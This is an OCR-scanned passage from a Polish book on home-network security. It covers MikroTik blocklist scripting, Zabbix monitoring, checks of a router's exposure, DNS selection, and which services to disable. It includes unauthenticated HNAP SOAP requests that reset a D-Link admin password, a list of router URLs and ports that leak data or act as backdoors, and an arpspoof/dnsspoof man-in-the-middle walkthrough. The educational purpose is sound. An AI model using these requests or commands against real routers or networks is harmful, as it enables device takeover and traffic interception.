bardzo dobrego formowania ruchu w sieci, ale i r6znorodne opcje wzmacnia-
nia bezpieczenstwa.

Jedna z ciekawszych funkecji jest mozliwo$¢ czeSciowego programowania
zachowan samego urzadzenia z wykorzystaniem jezyka skryptowego. Mozna
dzieki temu wysylaé proste powiadomienia, robi¢ kopie zapasowe konfiguracji,
a nawet pobawic¢ sie wbudowanym brzeczykiem do grania melodii”. Oczywi-
$cie nie ma to wplywu na bezpieczenstwo, ale wiele innych funkgcji - juz tak,
np. przejrzyste logi i mozliwo$¢ dynamicznego budowania list blokowanych
adresow IP, gdy wykonaja zbyt wiele polaczen.

Kolejnym skryptem, ktéry mozna zintegrowa¢ w do$¢ prosty sposob z Mi-
kroTikiem, jest wczytywanie statycznych list blokowanych adreséw IP®, publi-
kowanych np. przez Spamhaus?! lub CERT?®2.

Tu mala uwaga —jedno czeSciowo wyklucza drugie. Jesli importujacy skrypt
statyczny wykryje dynamicznie ten sam, dodany juz, adres, zatrzyma sie pomi-
mo parametru definiujacego, ze ma pomija¢ bledy. Niestety, oprogramowanie
firmy MikroTik nie jest wolne od bleddw, ale ma naprawde preznie rozwijajace
sie forum®, oferujace szerokie wsparcie dla ludzi chcacych ,wycisnaé” jak naj-
wiecej korzysci ze swojego sprzetu dostepowego.
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https://github.com/lnversed/CVE-2023-20025
https://mikrotik.comht
https://forum.mikrotik.com/viewtopic.php?t=105058
https://github.com/pwlgrzs/Mikrotik-Blacklist
https://spamhaus.org
https://cert.pl/lista-ostrzezen/
https://forum.mikrotik.com/
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Integrujacy sie ze wspomnianym MikroTikiem dodatek The Dude® (rysunek 15%)
pozwala na monitoring sieci w czasie rzeczywistym. Niestety, nie jest on zbyt
wygodny w uzytkowaniu, a jego interfejs jest ubogi, wiec postuzy raczej do
bardzo podstawowego monitoringu.
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Rysunek 15. Dodatek The Dude w MikroTiku

Zdecydowanie bardziej zaawansowanym systemem monitoringu jest Zabhix®,
(rysunek 16%7). Pozwala on na sprawdzanie stanu wiekszo$ci urzadzen dostep-
nych w sieci domowej nie tylko za pomoca prostych zapytan, jak ping, ale réw-
niez przy uzyciu specjalnych agentéw protokotu SNMP# lub automatycznych
metod wykrywania urzadzen".

Umozliwia tez podejmowanie akcji po wystapieniu okreslonego zdarzenia,
jakim jest wysylanie powiadomien po wykryciu nowego sprzetu w siecilub gdy
jakie$ urzadzenie przestanie odpowiadac albo ulegnie awarii. Do dzialania wy-
maga stale obecnego serwera bazodanowego obstugujacego tego typu zdarze-
nia sieciowe, ktéry musi by¢ ciagle uruchomiony na dedykowanym kompute-
rze, maszynie wirtualnej w sieci lub wirtualnej instancji na dysku sieciowym®.

* Wiecej na ten temat zob. Siczek A., Monitorowanie dostepnosci infrastruktury IT z wykorzystaniem Zabbixa [w:] Wpro-
wadzenie do bezpieczeristwa IT, t. 2 [w przygotowaniu].


https://wiki.mikrotik.com/wiki/Manual:The_Dude
https:/zabbix.com/documentation/current/en/manual/installation/getting_zabbix
https://techtarget.com/searchnetworking/definition/SNMP
https://qnap.com/en-us/news/2020/qnap-adds-support-for-zabbix-turn-your-nasinto-a-centralized-network-management-platform-for-multiple-devices
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Rysunek 16. Przyktadowy panel systemu Zabbix

Dodatkowo system Zabbix mozna z powodzeniem wykorzystac jako rozszerze-
nie w przypadku inteligentnych doméw — za jego pomoca mozna monitorowac
czujniki natezenia $wiatla czy temperature w mieszkaniu, a nawet czesciowo
prognozowac pogode®.

Przyktad zastosowania

W routerze marki MikroTik mozliwe jest uzycie skryptu, pozwalajacego na
automatyczne aktualizowanie listy adresow, z ktéra nasza sie¢ nie powinna
miec¢ kontaktu. O ile oczywidcie mozna robic to pojedynczo, to jest to niemoz-
liwe do zarzadzania.
/ip firewall address-list
add list=blacklist address=1.4.0.0/17 comment=SpamHaus

Dodatkowo kwestia aktualizowania takich list o nowe adresy powinna by¢
zautomatyzowana. Z pomoca przychodzi tu system skryptéw wbudowany
w router MikroTik. Ponizszy skrypt (listing 6) automatycznie pobiera nowe
opublikowane listy od duzych serwiséw (SpamHaus, dshield, Brute Force IP’s)
zbierajgcych dane o uzywanych obecnie w atakach adresach IP. Harmonogram
powtarza aktualizacje codziennie poprzez usuniecie starej listy i dodanie nowe;j.

Oczywiscie, aby router mdégt co$ zablokowad, potrzebuje odpowiedniego
ustawienia w firewallu, czym kod réwniez sie zajmie. Mozna go takze trakto-
wac jako przyklad rozwigzania, dopasowujac do wlasnych potrzeb - zmniej-
szajac liste adreséw czy dopasowujac godziny i czestotliwos$¢ aktualizacji.

49


https://blog.zabbix.com/whats-up-home-zabbix-the-weatherman/20897/
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Listing 6. Skrypt blokujacy adresy IP uznane jako Zrédfa atakéw

/system scheduler
add comment="Apply genlist List" interval=1d name=Update_genlist
on-event=Replace_genlist policy= ftp,reboot,read,write,policy,test,password,sniff,

sensitive,romon start-date=jan/01/1970 start-time=19:55:10 system script

add dont-require-permissions=no name=Replace_genlist owner=admin policy= ftp,
reboot, read,write,policy,test,password, sniff,sensitive,romon source="/toolfetch
url="http://joshaven.com/genlist.php\?lists=spamhaus,dshield,bru
teforce&prefix=add%20list=blacklist%20timeout=1d%20
comment=autoaddresslist%20address="mode=http dst-path=genlist.rsc;\n:log

info \"Downloaded autoaddresslist from Joshaven.com using genlist\";\r\n
/ip firewall address-list remove [find where comment=\"autoaddresslist\"]\n

/import file-name=genlist.rsc;\n:log info \"Removed old autoaddresslist

records and imported new list\";\n"

Dodatkowo lista przeznaczona jest do filtrowania adres6w atakujacych cen-
trale telefoniczne VoIP. Jako ze nie jest to urzadzenie typowe dla rozwigzan
domowych, przyklad skryptu mozna znalez¢ na stronie tworcy rozwigzania
utrzymujacego publicznie te zagregowane listy. Warto tam tez zajrze¢ w celu
zapoznania sie z tym, co jest blokowane w poszczegdlnych listach®. Jest tam
rowniez dostepny dodatkowy skrypt powloki pozwalajacy na automatyczne
generowanie podobnej listy na swoim wlasnym serwerze linuxowym.

~Jak nas widza...” - widocznos¢ urzadzenia z poziomu Internetu

ZALECENIA: TESTOWANIE SIECI

» Sprawdz, ile z Twoich urzadzen jest widocznych poza siecig LAN - i ogranicz je do
minimum.

» Zweryfikuj, czy Twdj router uzywa HNAP i wytacz go - w miare mozliwosci.
» Przetestuj uzywany DNS pod katem ewentualnych wyciekow zapytan.

» Zmien domysine hasta w routerze.

Ponizej przedstawionych zostalo kilka najprostszych czynnosci, ktére pozwola
na sprawdzenie, ile i jakie informacje o naszej sieci mozna pozyskac spoza niej.

Zaczynamy od publicznego adresu, pod jakim jesteSmy widoczni. Mozna to
sprawdzi¢, wchodzac np. na strone https://myip.com (rysunek 17).


https://joshaven.com/resources/
tricks/mikrotik-automatically-updated-address-list/
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Your IP address is:
@ 123.123.123.123 R
Host:

B 122.122.203.49

Remote Port:

i 18464

ISP:

Lll ISP Sp.zo.0.

Rysunek 17. Przyktadowy adres publiczny

Jesli juz go zidentyfikowali$my, warto sprébowac znalez¢ go w wyszukiwarce
sprzetow widocznych w sieci, np. przy uzyciu platformy Shodan (rysunek 18).
Brak otwartych portéw jest tym, co chcemy tu zobaczyc'.

'. SHODAN Explore Pricing &2 Search

404: Not Found

n Note: No information available for 123.123123.123

Rysunek 18. Test widoczno$ci w narzedziu Shodan

Kolejnym dobrym testem jest sprawdzenie, czy w domowej sieci nie ma zad-
nych urzadzen podpietych do niej, ktore bez naszej wiedzy, wykorzystujac np.
protokdl UPnP, wystawiajg swoje porty do sieci zewnetrznej. Przykladowy te-
ster otwartych portéw UPnP dostepny online to Bad UPnP/SSDP (rysunek 199?).

Bad UPnP/SSDP - Check for WAN
UPNP listening

All good! It looks like you are not listening on UPnP on WAN

Rysunek 19. Test otwartych portéw UPnP

Sprawdzenia samych otwartych portéw mozemy dokona¢ np. za pomoca na-
rzedzia SG Security Scan®. Je$li widzimy tam otwarte porty i ich nie rozpo-
znajemy, warto sprawdzi¢, czy nie byty kojarzone z jakimi$§ atakami, jak np.
port 23 lub 2323 wykorzystywany przez urzadzenia IoT. Porty te sa uzywane
do polaczen za pomoca niebezpiecznej ustugi Telnet i sa aktywnie skanowane
przez botnety takie jak Mirai.

* Wiecej testéw IP mozna znalez¢ w zbiorczym zestawieniu: Horowitz M., Shodan and Censys Queries, Router Security,
February 21, 2018, last updated: June 20, 2022.


https://www.shodan.io/
https://routersecurity.org/shodan.php
https://speedguide.net/scan.php
https://routersecurity.org/shodan.php
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HNAP (Home Network Administration Protocol) — to oparty na komunikacji
SOAP protokoét pozwalajacy na zarzadzanie urzadzeniami sieciowymi. Wyma-
ga podstawowej autoryzacji, ale wiele z jego implementacji w urzadzeniach
D-Link okazalo sie niepoprawnych, doprowadzajac do zdalnego przejmowa-
nia kontroli nad tymi urzadzeniami. Protoké}l moze by¢ dostepny na naszym
routerze, zarowno pod adresem prywatnym, jak i publicznym. Je$li juz jest
uruchomiony, to niestety nie zawsze mozna go wylaczy¢, a przedstawia sporo
wiadomosci na temat danego routera. Jego obecnos$¢ sprawdzimy, wchodzac
pod adres http://<adres routera>/HNAP1/. Przykladowa odpowiedz, jaka
zobaczymy w przegladarce, wida¢ na rysunku 20%.

€ = C  Bbupt//192.1684HNAPL/

This XML file does not appear to have any style information associated with it. The document tree is

w<zoap:Envelope xmlns:xsi="http:/ 3.0rg/2001/¥MLSchema-instance” xmlns|
"http://schemas.xmlscap.org/scap/envelope/">

ettingsResponse xmlns="http://purenetworks.com/HNAP1/">
iceSettingsResult>0B</GetDeviceSettingsResult>
>GatewayWithWiFi</Type>

Name/>
Name>Linksys by Cisco</VendorName>
iption>Internet Gateway Device</ModelDescription>
WRT54GL</ModelName>
rsion>v4.30.16</Firmw

URL>/</PresentationURL>

>http://purenetworks.com/HNAP1/IsDeviceReady</stri
nhttp://purenetworks.com/HNAP1/GetDeviceSettings
http://purenetworks.com/HNAP1/SetDeviceSettings</
nttp://purenetworks.com/HNAP1/GerDeviceSettings2<
http://purenecworks.com/HNAP]1/SecDeviceSettinga2<¢/s
http://purenetworks.com/HNLP1/Reboot</ string>

nttp://purenetworks.com/HNAP1/GetWanSettings</st
http://purenetworks.com/HNAP1/SetWanSettings<
http://purenetworks.com/HNAP1/GetWanInfo</s
nttp://purenetworks.com/HNAP1/RenewWanConnection</s
nttp://purenetworks . com/HNAP1/AddPortMapping</s
nttp://purenetworks.com/HNAP1/GetPortMappings</st
http://purenetworks.com/HNAP1/DeletePortMapping</st
http://purenetworks.com/HNAP1/GetMACFilters2</s
nhttp://purenetworks.com/HNAP1/S5etMACFilters2</s

v<string>
http://purenetworks.com/HNAP1/GetRouterLanSettings2
</strin
v<string>
nttp: //purenetworks. com/HNAP1/SetRouterlanSettings2
/st >

Rysunek 20. Odpowiedz routera w protokole HNAP

Inne adresy, ktére warto sprawdzi¢, wpisujac je po adresie routera do przegla-
darki, przedstawiono na listingu 7.

Listing 7. Zestawienie adreséw do sprawdzenia w routerze w celu poszukiwania podatnosci

http://<adres ip routera>/currentsetting.htm
http://<adres ip routera>/cgi-bin/config.exp
http://<adres ip routera>/cgi-bin/export_debug msg.exp
http://<adres ip routera>/cgi/cgi_status.js

http://<adres ip routera>/BRS_netgear_success.html


https://
routersecurity.org/testrouter.php
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Niektdre z nich pozwalaja na odczytanie typu urzadzenia, inne wykorzy-
stuja bledy takie jak restartowanie urzadzenia lub odcinanie go od Internetu,
ale czasem nawet zwykle ujawnianie danych o urzadzeniu moze okazac sie
grozne.

Mozna réwniez polaczy¢ sie z routerem, dopisujac nastepujace porty:

» http://<adres ip routera>:32764" - czeste tylne wejscie (ang. back-

door) producentow,

» http://<adres ip routera>:19541 - port, na ktérym podatny daemon
nastuchujacy moze by¢ wykorzystany do przeprowadzenia ataku prze-
peinienia bufora, a w konsekwencji — zdalnego przestania do urzadzenia
wlasnego firmware’u w routerach marki D-Link serii DIR-8xx*.

Ostatni test, ktéry mozna wykonad, to sprawdzenie, czy serwer DNS nie jest
podatny na wyciek informacji (ang. DNS leak®S). Mozna to zweryfikowa¢, wy-
korzystujac narzedzie DNS Leak Test””. Wynik pozytywny sugeruje, ze zapyta-
nia DNS-owe moga by¢ widoczne dla dostawcy Internetu. Zazwyczaj ma to za
zadanie przys$pieszy¢ dzialanie sieci dostawcy, ale z punktu widzenia odbiorcy
koncowego jest to co$, co moze wywolac¢ pewne obawy w kwestii zachowania
anonimowos$ci w sieci. W celu unikniecia takiego przecieku warto rozwazy¢
uzycie do polaczen anonimowych serwiséw VPN anonimowej sieci Tor®® lub
korzystac z zapytan DNS over HTTPS albo DNS over TLS opisanych wcze$niej.

Przyktad podatnosci

Atakowanie podatnych router6w marki D-Link wykorzystujacych HNAP
bylo stosunkowo latwe. Czasem pozwalalo tylko na automatyczne odkrywa-
nie informacji na temat routera, a czasem na nadpisywanie ustawien admini-
stracyjnych bez autoryzacji. Podatnosci mozna bylo wykorzystywac zar6wno
z sieci LAN, jak i spoza nie;j.

Przykladowo, w modelach DIR-628 i DIR-655 jednag z akcji typu SOAP - Get-
DeviceSettings — mozna byto wykonac catkowicie bez autoryzacji. O ile sama
zwracala raczej informacje malo krytyczne, to pozwalala na poznanie innych
miejsc, w ktérych mozna zacza¢ szuka¢ podatnosci. Jesli wiec atakujacy chcial
wykonac akcje SetDeviceSettings, ktéra mogla by¢ uzyta do zmiany hasta
administratora, wystarczylo wysta¢ odpowiednie zapytanie (listing 8).

Listing 8. Przykfad zapytania wymaganego do wykorzystania podatno$ci w HNAP
POST /HNAP1/ HTTP/1.1

Host: 192.168.0.1:8099

* Opis wykorzystania podatnosci typu backdoor oraz jej Proof of Concept na routerach: Cisco, Linksys, NetGear i Dia-
mond - Vanderbeken E., How Sercomm saved my Easter! Another backdoor in my router: when Christmas is NOT enough!.


http://www.synacktiv.com/ressources/TCP32764_backdoor_again.pdf
https://exploit-db.com/exploits/42731
https://dnsleaktest.com/what-is-a-dns-leak.html
https://dnsleak.com
https://nano.komputronik.pl/n/siec-tor-przegladarka-jak-zainstalowac/
http://www.synacktiv.com/ressources/TCP32764_backdoor_again.pdf
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SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"
ContentlLength:

453

<?xml version="1.0" encoding="utf8"?>

<soap:Envelope
xmlns:xsi="http://www.w3.0rg/2001/XMLSchemainstance"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>

<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testingl123</AdminPassword>
</SetDeviceSettings>

</soap:Body>

</soap:Envelope>

Jak mozna zauwazy¢, pierwsza metoda jest zagniezdzona w drugiej i nie wy-
maga autoryzacji. Router, wykonujac akcje GetDeviceSettings, nie uwzgled-
nia, ze faktycznie przeprowadza operacje GetDeviceSettings, podczas gdy
w rzeczywistos$ci realizuje akcje z sekcji Body SetDeviceSettings.

Inne modele (np. DI-524) wymagaly autoryzacji przy wszystkich akcjach, ale
pozwalaly wykonywac je zar6wno z poziomu konta uzytkownika, jak i admini-
stratora, co byto oczywistym bledem, jako ze domyslne hasta do kont whudo-
wanych sa czesto publicznie znane (listing 9).

Listing 9. Przykfad zapytania wymaganego do wykorzystania podatnosci w HNAP w przypadku
wymogu autoryzacji w routerze

POST /HNAP1/ HTTP/1.1

Authorization: Basic dXNlcjo=

Host: 192.168.0.1

SOAPAction: "http://purenetworks.com/HNAP1/SetDeviceSettings"
ContentlLength:

453

<?xml version="1.0" encoding="utf8"?>

<soap:Envelope
xmlns:xsi="http://www.w3.0rg/2001/XMLSchemainstance"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>

<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
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<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>

</soap:Envelope

W ten sposob mozemy zmieni¢ hasto administratora za pomoca HNAP, mimo
ze normalnie ta akcja wymaga podania hasta®.

Jaki DNS wybra¢ i czym sig kierowaé

ZALECENIA: WYBOR SERWERA DNS

» Do potaczen z serwerami DNS wybierz jeden z szyfrowanych trybow.

» Wybierz serwer oferujacy automatyczne blokowanie zapytan do niebezpiecznych
adresow.

» Sprawdz, czy serwer DNS ma wdrozone prawidtowe zabezpieczenia.

» Poréwnaj predko$c¢ odpowiedzi poszczegdlnych serwerow.

Wybierajac odpowiedni serwer DNS do obstugi zapytan, warto zastanowi¢ sie nad
tym, jakie wymagania ma spelnia¢. Oczywiscie prostota zapamietania 8.8.8.8 od
Google jest wrecz legendarna, ale inne serwery moga okazac sie ciekawsze.

Do dyspozycji mamy szybsze i wolniejsze serwery, wiec przed wyborem
warto skorzystac¢ z komendy PowerShella stuzacej do pomiaru szybkosci od-
powiedzi serwera: powershell "Measure-Command {nslookup google.com}"
(listing 10). Mimo wszystko taki pomiar prawdopodobnie nie bedzie miaro-
dajny, nalezaloby wykonac operacje kilkaset razy, czyszczac pomiedzy nimi
cache DNS, co oczywiscie datoby sie wykona¢ w formie skryptu. Inng opcja jest
skorzystanie z dostepnych narzedzi, takich jak dnsperf oraz resperf'®, ktére
pozwalaja na symulacje typowej sieci, urzeczywistniajac dzieki temu otrzy-
mywane wyniki.

Listing 10. Wynik polecenia powershell "Measure-Command {nslookup google.com}"

PS C:\Users\admin> powershell "Measure-Command {nslookupgoogle.com}"

Non-authoritative answer:

Days
Hours

Minutes

® © ®© o

Seconds

Milliseconds : 52


https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf
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Ticks : 520269

TotalDays : 6,02163194444444E-07
TotalHours : 1,44519166666667E-05
TotalMinutes : 0,000867115
TotalSeconds 1 0,0520269
TotalMilliseconds : 52,0269

Kolejna funkcjg, ktéra mozna wykorzystaé, jest poprawa hezpieczenstwa sie-
ci LAN za pomoca serwera DNS. Do dyspozycji jest kilka wariantéw platnych,
ale sa tez darmowe serwery blokujace zapytania do ztodliwych stron lub serwe-
réw znanych z dystrybucji szkodliwego oprogramowania na poziomie zapytan
DNS. Cze$¢ takich zapytan jest blokowana réwniez przez Google DNS.

Dodatkowo serwery tego typu czesto blokuja tez sporg czes¢ reklam, oferujgc przy-
jemniejsze doznania podczas korzystania z Internetu oraz ograniczajgc zbedny trans-
fer sieciowy. Przyktadowe serwery to: AdGuard 94.140.14.14 oraz 94.140.15.15.

Jesli natomiast priorytetem jest ograniczanie tresci, ktére nie powinny by¢
dostepne np. dla dzieci, r6wniez mozna wykorzysta¢ odpowiednie warianty
serwera DNS. Oprdcz reklam i niebezpiecznych stron blokowany moze by¢
takze dostep do stron dla dorostych, np. przez serwery AdGuard dostepne
pod adresami 94.140.15.15 oraz 94.140.15.16. Wsrdéd serweréw Cloudfla-
re znajdziemy nieblokujacy niczego adres 1.1.1.1, blokujacy zlosliwe strony
—1.1.1.2 oraz blokujacy réwniez tresci dla dorostych-1.1.1.3.

Jesli chcemy sprawdzié, z jakiego obecnie serwera DNS korzystamy, warto
uzy¢ narzedzia dnscheck.tools'® (rysunek 21).

Your dns resolvers appear to be:
Cloudflare (26 requests from 2 resolvers)
162.158.181.185 ns: cruz.ns.cloudflare.com mm Larsaw, Mazovia

240@;cbB6:73:1624; :a2%:656% ns: chlee.ns.clowdflare.com mm larssw, Mazovia

Google LLC (1@ requests from 7 resolvers)

172.253.255.37 ns: nsl.google.com = Warsaw,
172.253.255.34 ns: nsl.google.com mm Warsaw,
172.253.1.133 ns: nsl.google.com mm Warsaw,
172.253.206.37 ns: nsl.google.com mm Warsaw,
172.253.255.36 ns: nsl.google.com mm Warsaw,
172.253.255.35 ns: nsl.google.com mm Warsaw,
172.253.1.12%9 ns: nsl.google.com mm Warsaw,

Rysunek 21. Wynik testu aktywnych serweréw DNS z https://dnscheck.tools

Dowiemy sie tam tez, czy serwery, do ktérych sie laczymy, zostalty uwierzytel-
nione za pomocg funkeji DNSSEC'? (rysunek 22). Pozwala to unikna¢ podatnos$ci
na zatruwanie zapytan DNS.


https://dnscheck.tools
https://pomoc.home.pl/baza-wiedzy/co-to-jest-dnssec
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Great! Your dns responses are authenticated:

DNSSEC uwsing ECDSA P-256 (PASS)

Valid signature: connected

Invalid signature: not connected
Expired signature: not connected
Missing signature: not connected

Rysunek 22. Potwierdzenie uwierzytelnienia serwera DNS za pomocg DNSSEC

Mimo wszystko system moze uzywac innych adreséw DNS niz przegladarka,
wiec wyniki warto poréwnac z tym, co pokaze wbudowane narzedzie konsolowe
nslookup, przykladowo wpisujac komende nslookup sekurak.pl (listing 11).

Listing 11. Wynik polecenia nslookup

C:\Users\admin>nslookup sekurak.pl
Server: Unknown

Address: 1.1.1.2

Non-authoritative answer:
Name: sekurak.pl

Address: 51.77.40.125

Decydujac sie na wybdr serwera DNS i chcac wykorzystac¢ protokoty szyfro-
wane DoH lub DoT do polaczen z nim, nalezy pamietac o tym, zeby sprawdzic¢
adres serwera, pod jakim beda one dostepne. Beda to inne adresy niz standar-
dowe w formacie IP w wersji czwartej. Zostaly zamienione na nazwe hosta
i odpowiadajacy mu port po stronie serwera. Przykladowo, dla polaczenia DoT
do serwera AdGuard blokujacego reklamy bedzie to dns.adguard.com, a jego
port komunikacyjny to 853. Jest to zmiana ze standardowego portu zapytan
DNS - 53; nalezy pamieta¢, aby odblokowa¢ ruch na zewnatrz z tego portu.
Ruch DNS z sieci WAN zdecydowanie powinien by¢ zablokowany.

W wydanej w polowie 2022 roku kompilacji testowej programu Windows In-
sider Preview dodana zostala funkcja DoT wbudowana w system Windows 11
—wiec standard ten zaczyna pojawiac sie na szersza skale réwniez wsréd pro-
ducentéw oprogramowania'®. Funkcja DoH byta dostepna od poczatku wyda-
nia tej wersji systemu.

Przyktad podatnosci

DNS spoofing lub inaczej zatruwanie cache DNS (DNS cache poisoning) to
atak, w ktorym rekordy DNS-owe uzywane sa do przekierowania ruchu na
inng strone przypominajgca pierwotny cel zapytania. Po odwiedzeniu takiej
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Klient

podstawionej strony wszystkie dane na niej pozostawione, takie jak hasta i lo-
giny uzytkownikéw, trafiaja bezposrednio do przeprowadzajacego atak. Oczy-
wi$cie taka strona moze tez zawierac¢ wirusy lub inne niebezpieczne elementy
pozwalajgce na dalszy dostep do komputera ofiary.

Wykonanie DNS spoofingu mozna przeprowadzi¢ za pomoca ataku Man-in-
-the-Middle, edytujac przesylane zapytania DNS lub bezposrednio przejmujac
konkretny serwer, czego przyklad widzimy na rysunku 23'%.

wWwWw

fatszywa strona
‘ . /@ zapytanie zostaje
wysyfra zapytanie @ rozwigzane
o prawdziwa strong WWW — do fatszywej strony

wstrzlﬁgjr% fa@zywy DNS prawdziwa strona

Rysunek 23. Przyktad ataku kompromitujacego serwer DNS

Przykladowy scenariusz ataku wymaga uzycia aplikacji arpspoof'®. Zatézmy,
ze w sieci sa trzy hosty:
1. atakujacy, korzystajacy z adresu IP 10.10.10.2;
2. serwer oferujacy strone dostepna pod adresem www.test.local o 1P
10.10.10.3;
3. ofiara 10.10.10.4.

Atak rozpoczyna sie od uzycia komendy majacej na celu manipulacje tabela
ARP serwera, aby doprowadzi¢ do blednego przypisania adresu atakujacego
do ofiary: arpspoof 10.10.10.4 10.10.10.3

Nastepnie hacker uzywa analogicznej komendy do manipulacji tabela ARP
ofiary, aby doprowadzi¢ do sytuacji, w ktorej jej host blednie identyfikuje go
jako serwer, wspierajac tym samym atak typu MITM w sieci, niezwigzany bez-
posrednio z atakiem na DNS: arpspoof 10.10.10.3 10.10.10.4

Atakujacy musi teraz pozwoli¢ na przekazywanie pakietéw pomiedzy ofiara
iserwerem WWW za pomoca komendy linuxowej:
echo 1> /proc/sys/net/ipv4/ip_forward


https://linux.die.net/man/8/arpspoof
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Na hoscie atakujacego musi by¢ dostepny podstawiony serwer WWW ser-
wujacy zmodyfikowana wersje strony www.test.local. Do pliku /etc/hosts zo-
stanie rowniez dodany odpowiedni wpis 10.10.10.4 www.test.local mapujacy
adres IP hackera do strony internetowe;j.

Ostatecznie, korzystajac z innego narzedzia, jak dnsspoof', atakujacy prze-
kierowuje wszystkie zapytania ofiary na swoj host oraz przedstawia jej niebez-
pieczna strone. Celem ataku bylo doprowadzenie do tego, ze komputer ofiary
myslal, Ze urzadzenie atakujacego to serwer, natomiast sam host serwujacy
strone uwazal go za ofiare.

Dlaczego niektore ustugi powinny zosta¢ wytaczone

ZALECENIA: WY£ACZENIE USEUG

» Jesli nie planujesz udostepniac¢ zadnych serweréw, wytacz DMZ.

» UPnP bezpieczniej jest wytaczy¢ (wiecej informacji na ten temat znajduje sie w pod-
rozdziale UPnP - szerzej o problemach z mechanizmem).

» Telnet jest przestarzatym, nieszyfrowanym protokotem komunikacji - wytacz go
i uzywaj SSH do potaczen zdalnych.

» Niewtasciwie skonfigurowane IPv6 moze stanowi¢ potencjalny punkt ataku. Jesli nie
jest potrzebne w Twojej sieci, mozesz rozwazy¢ wytgczenie go.

» WPS to potencjalnie niebezpieczny protokot pozwalajacy na potaczenie sprzetu
poprzez Wi-Fi; wytacz go, jesli go w danym momencie nie uzywasz.

» SNMP pozwala na zbieranie duzej ilosci informaciji. Jesli nie planujesz monitorowac
swoich sprzetdw, wytacz go dla bezpieczenstwa.

Przedstawione tu ustugi powstaly w celu wdrozenia i ulatwienia dodatkowych
funkgcji, ale niekoniecznie sg to rozwigzania bezpieczne. Wylaczenie ich, poza
wzmocnieniem zabezpieczen, moze poprawi¢ wydajnos$¢ samego urzadzenia.

DMZ - strefa zdemilitaryzowana (ang. demilitarized zone) - to specjalna
strefa pomiedzy siecig zewnetrzna a wewnetrzna (rysunek 241%%). Umieszcza
sie w niej cze$¢ serwerdw, ktore komunikuja sie z siecig zewnetrzna (Inter-
netem), wiec czesto bywaja atakowane. O ile czasem takie podejsScie ma za-
stosowanie w sieciach korporacyjnych, to w sieci domowej zazwyczaj nie ma
potrzeby uzywania tego rozwigzania.
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Rysunek 24. Umiejscowienie strefy zdemilitaryzowanej w sieci

UPnP - rozwigzanie mialo by¢ dostepne wedlug zalozen tylko z sieci LAN, ale,
niestety, rozne bledy konfiguracyjne potrafia wystawia¢ nadmiarowe otwar-
te porty do sieci WAN. Dodatkowym problemem jest tez to, Ze zmiany, ktére
urzadzenie samodzielnie wykona (np. dodane reguly sieciowe), moga nie by¢
widoczne w panelu administracyjnym routera (w zalezno$ci od producenta
i modelu).

WPS (Wi-Fi Protected Setup) — funkcja pozwalajaca na podlaczanie sprzetu
do sieci bez hasta, a tylko z PIN-em lub po przyci$nieciu specjalnego przycisku
na obudowie urzadzenia. Funkcja jest bardzo wygodna, ale — niestety — nie jest
zbyt bezpieczna. Znany jest tez atak na nia, ktéry do$¢ tatwo przeprowadzic,
nawet jesli jest do$¢ czasochlonny!®. Jesli potrzebujemy WPS do podlaczenia
sprzetu, pamietajmy o wylaczeniu go, gdy juz nie jest potrzebny. Alternatywnie
nie korzystajmy wcale z tego rozwiazania — obecnie sporo urzadzen potrafi
wykorzystac¢ kody QR'® lub oferuje opcje wpisywania hasta do wskazanej sieci.

Port Forwarding — funkcja wystawiajgaca port wskazanego hosta do sieci ze-
wnetrznej. Ma to sens tylko wtedy, gdy planujemy z domowej sieci (zza routera)
wystawia¢ konkretny serwer, np. gry sieciowe;j.

Mimo wszystko jest to wpuszczenie ruchu zewnetrznego do sieci wewnetrz-
nej, wiec nalezy zadbac o odpowiednie zabezpieczenie samego hosta konicowe-
go, aby zapewni¢ bezpieczenstwo sieci (antywirus, Web Application Firewall,
zwykty firewall, segmentacja sieci i aktualizacje). Je$li nie planujemy wysta-
wiania serwerow, te funkcje powinnismy wylaczyc.

Telnet - protokol komunikacyjny do zarzadzania urzadzeniami sieciowymi.
Niestety, jest przestarzaly i nie oferuje szyfrowania danych, wiec loginy i hasla,
ktore przez niego przekazujemy, moga zostac¢ bardzo tatwo podstuchane. Jesli
chcemy zarzadza¢ naszym urzadzeniem spoza sieci domowej, wybierzmy po-
laczenia za pomoca SSH lub szyfrowanego tunelu VPN.

SNMP (Simple Network Management Protocol) - protokdt pozwalajacy na
zbieranie informacji o dostepnych portach i ustugach na urzadzeniach w sieci.
Jedli nie planujemy monitorowac naszych urzadzen, wylaczmy go. W przypadku


https://outpost24.com/blog/wps-cracking-with-reaver
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domys$lnych ustawienn moze pozwoli¢ na odczytanie danych urzadzenia bez
uwierzytelnienia lub po podaniu domys$lnych danych dostepowych. W wer-
sji drugiej community string pelni funkcje hasta, pozwalajac na podstawowa
forme uwierzytelnienia, jednak komunikacja ta nie jest szyfrowana, wiec nie
zawsze bedzie wystarczajaco bezpieczna. Planujac $ledzenie sieci, np. za po-
moca Zabbixa, nalezy wykorzysta¢ najwyzsza dostepna — czyli trzecig — wersje
tego protokotu.

IPv6 - jesli mamy mozliwo$¢ korzystaé z sieci Internet za posrednictwem
IPv4, warto pozosta¢ przy starszym rozwiazaniu. Niestety, nowszy protokol
wymaga bardziej zaawansowanej konfiguracji i wystawia kazde urzadzenie
z nim wprost do sieci WAN, co moze by¢ Zrédtem wielu klopotéw.

Przyktad podatnosci

Ujawniona w styczniu 2023 roku podatno$¢ (poprawiona w wersji firmwa-
re 1.0.7.78) w routerze Netgear RAX30 umozliwiala zdalne uzyskanie pelnych
uprawnien administratora (root). Od strony WAN nie byla dostepna w trybie
nastuchu zadna ustuga, ale, niestety, tylko na IPv4. Skanowanie za pomoca
narzedzia Nmap publicznego adresu w IPv6 zwracalo jako wynik informacje
o otwartej ustudze Telnet (listing 12).

Listing 12. Przyktad zapytania wymaganego do znalezienia podatnosci w routerze Netgear
RAX30 - Nmap

